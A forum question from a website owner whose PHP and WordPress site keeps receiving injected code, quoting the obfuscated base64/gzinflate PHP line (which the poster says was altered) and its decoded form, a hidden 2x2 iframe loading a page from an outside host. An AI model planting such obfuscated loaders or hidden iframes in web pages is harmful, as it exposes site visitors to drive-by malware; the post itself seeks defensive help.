Over the past few days, my site has repeatedly been the subject of an iframe attack. The code is added mainly to PHP and Javascript pages. Then the code is encoded by PHP base 64, see Example (I changed the code a bit to neutralize it):
#c3284d# echo(gzinflate(base64_decode("aJ1yhA3pkW4cWnUnmFluNmeq66wqE0OmVRcMUP3WQAupFZFGgaJvSE7IZH67z5S8 VwMxbWwg/TRkFvtPyCw9AGGzqRm8Qi/1LV6+9MdTtf9rtXb8e4L"))); #/c3284d#
This decoded one looks something like this:
<script type="text/javascript"> document.write( '<iframe src="http://opticmoxie.com/xxxxxxx.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>' );
The only thing that is common is that all the code has the comment "# c3284d #", so tracking malicious code is not difficult. But it takes a lot of time ...
We are located on a shared server in Gradwell (UK) and they were not particularly helpful. So the question is, what can I do to prevent this problem from recurring? I know MySQL Injection attacks and use PHP mysql_real_escape_string to protect against such attacks.
The site is PHP and MySQL. We use MySQLFTP and have a shell account to access SSH. We use Wordpress (latest update with plugins disabled).
source share